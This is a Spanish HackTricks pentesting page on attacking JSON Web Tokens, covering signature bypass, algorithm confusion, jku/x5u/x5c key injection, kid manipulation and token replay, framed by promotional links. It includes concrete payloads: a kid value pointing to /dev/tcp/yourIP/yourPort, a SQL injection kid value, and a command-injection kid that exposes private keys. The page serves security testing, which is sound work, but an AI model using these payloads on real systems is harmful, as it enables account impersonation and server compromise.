* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Consejo para bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
**Parte de esta publicación fue tomada de:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor de la gran herramienta para pentestear JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
Puedes manipular los datos dejando la firma tal como está y comprobar si el servidor está verificando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.
- Si ocurre un mensaje de error, se está verificando la firma: lee cualquier información detallada que pueda filtrar algo sensible.
- Si la página devuelta es diferente, se está verificando la firma.
- Si la página es la misma, entonces no se está verificando la firma: ¡es hora de empezar a manipular las reclamaciones del Payload para ver qué puedes hacer!
Utiliza la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" en "None").
Si cambias el algoritmo de RS256 a HS256, el código del backend utiliza la clave pública como clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.
Luego, utilizando la clave pública y cambiando RS256 a HS256, podríamos crear una firma válida. Puedes obtener el certificado del servidor web ejecutando esto:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
Si el token utiliza una reclamación de encabezado "jku", verifica la URL proporcionada. Esta debería apuntar a una URL que contenga el archivo JWKS que contiene la Clave Pública para verificar el token. Manipula el token para que el valor de jku apunte a un servicio web donde puedas monitorear el tráfico.
Si obtienes una interacción HTTP, ahora sabes que el servidor está intentando cargar claves desde la URL que estás suministrando. _Utiliza la opción -S de jwt\_tool junto con el argumento -u_ [_http://example.com_](http://example.com) _para generar un nuevo par de claves, inyecta tu URL proporcionada, genera un JWKS que contenga la Clave Pública y firma el token con la Clave Privada_
`kid` es una reclamación opcional de encabezado que contiene un identificador de clave, especialmente útil cuando tienes múltiples claves para firmar los tokens y necesitas buscar la correcta para verificar la firma.
Si se utiliza la reclamación "kid" en el encabezado, verifica el directorio web en busca de ese archivo o una variación del mismo. Por ejemplo, si `"kid":"key/12345"`, busca _/key/12345_ y _/key/12345.pem_ en la raíz del sitio web.
Si se utiliza la reclamación "kid" en el encabezado, verifica si puedes utilizar un archivo diferente en el sistema de archivos. Elige un archivo cuyo contenido puedas predecir, o tal vez prueba con `"kid":"/dev/tcp/yourIP/yourPort"` para probar la conectividad, o incluso algunos payloads de **SSRF**...\
_Utiliza la opción -T de jwt\_tool para manipular el JWT y cambiar el valor de la reclamación kid, luego elige mantener la firma original_
Usando archivos dentro del host con contenido conocido, también puedes falsificar un JWT válido. Por ejemplo, en sistemas Linux, el archivo `/proc/sys/kernel/randomize_va_space` tiene el valor establecido en **2**. Entonces, al poner esa **ruta** dentro del parámetro "**kid**" y usar "**2**" como la **contraseña simétrica** para generar el JWT, deberías poder generar un nuevo JWT válido.
En un escenario donde el contenido de "kid" se utiliza para recuperar la contraseña de la base de datos, podrías cambiar la carga útil dentro del parámetro "kid" a: `non-existent-index' UNION SELECT 'ATTACKER';-- -` y luego firmar el JWT con la clave secreta `ATTACKER`.
En un escenario donde el parámetro "kid" contiene una ruta al archivo con la clave y esta ruta se está utilizando **dentro de un comando ejecutado**, podrías obtener RCE y exponer la clave privada con una carga útil como la siguiente: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
Algunas aplicaciones web utilizan un servicio JWT de confianza para generar y administrar tokens para ellos. En el pasado, ha habido casos en los que un token generado para uno de los clientes del servicio JWT puede ser aceptado por otro de los clientes del servicio JWT.\
Si observas que el JWT se emite o se renueva a través de un servicio de terceros, vale la pena identificar si puedes registrarte en otra cuenta de ese mismo servicio con el mismo nombre de usuario/correo electrónico. Si es así, intenta tomar ese token y reproducirlo en una solicitud a tu objetivo. ¿Es aceptado?
* Si se acepta tu token, es posible que tengas un problema crítico que te permita falsificar la cuenta de cualquier usuario. SIN EMBARGO, ten en cuenta que si te registras en una aplicación de terceros, es posible que necesites obtener permiso para realizar pruebas más amplias en caso de que entre en un área legal gris.
La reclamación de carga útil "exp" se utiliza para verificar la caducidad de un token. Como los JWT se utilizan a menudo en ausencia de información de sesión, es necesario manejarlos con cuidado; en muchos casos, capturar y reproducir el JWT de otra persona te permitirá hacerse pasar por ese usuario.\
Una mitigación contra los ataques de reproducción de JWT (que es recomendada por el RFC de JWT) es utilizar la reclamación "exp" para establecer un tiempo de caducidad para el token. También es importante establecer las comprobaciones relevantes en la aplicación para asegurarse de que este valor se procese y el token se rechace cuando haya caducado. Si el token contiene una reclamación "exp" y los límites de tiempo de prueba lo permiten, intenta almacenar el token y reproducirlo después de que haya pasado el tiempo de caducidad. _Utiliza la opción -R de jwt\_tool para leer el contenido del token, que incluye el análisis de la marca de tiempo y la comprobación de caducidad (marca de tiempo en UTC)_
Si el token utiliza una reclamación "**jku**" en el **encabezado**, **verifica la URL proporcionada**. Esta debería apuntar a una URL que contenga el archivo JWKS que contiene la Clave Pública para verificar el token. Manipula el token para que el valor jku apunte a un servicio web donde puedas monitorear el tráfico.
Entonces puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado**. Para crear un certificado jku válido, puedes descargar el original y cambiar los parámetros necesarios.
URL X.509. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en formato PEM. El primer certificado en el conjunto debe ser el utilizado para firmar este JWT. Los certificados subsiguientes firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
Entonces puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado**.
Si el atacante **genera un certificado autofirmado** y crea un token falsificado utilizando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, es decir, n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el servidor.
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:
Finalmente, utilizando la clave pública y privada y los nuevos valores "n" y "e", puedes usar [jwt.io](https://jwt.io) para falsificar un nuevo JWT válido con cualquier información.
Sin embargo, imagina una situación en la que la longitud máxima del ID sea 4 (0001-9999). La solicitud 0001 y 10001 van a utilizar el mismo ID. Por lo tanto, si el backend incrementa el ID en cada solicitud, podrías abusar de esto para **reproducir una solicitud** (necesitando enviar 10000 solicitudes entre cada reproducción exitosa).
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).